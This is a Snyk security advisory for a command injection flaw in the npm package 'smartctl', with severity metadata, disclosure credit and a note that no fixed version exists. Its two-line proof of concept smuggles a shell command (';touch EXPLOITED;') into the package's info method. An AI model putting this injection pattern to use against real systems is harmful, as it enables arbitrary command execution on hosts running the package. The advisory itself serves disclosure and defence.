Command Injection Affecting smartctl package, versions *


0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

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  • Snyk ID SNYK-JS-SMARTCTL-3175613
  • published 23 Jan 2023
  • disclosed 19 Dec 2022
  • credit Junmin Zhu at SJTU, JHU System Security Lab

How to fix?

There is no fixed version for smartctl.

Overview

Affected versions of this package are vulnerable to Command Injection via the info method due to improper input sanitization.

PoC

const smartctl = require('smartctl');
smartctl.info(';touch EXPLOITED;', function(){});

References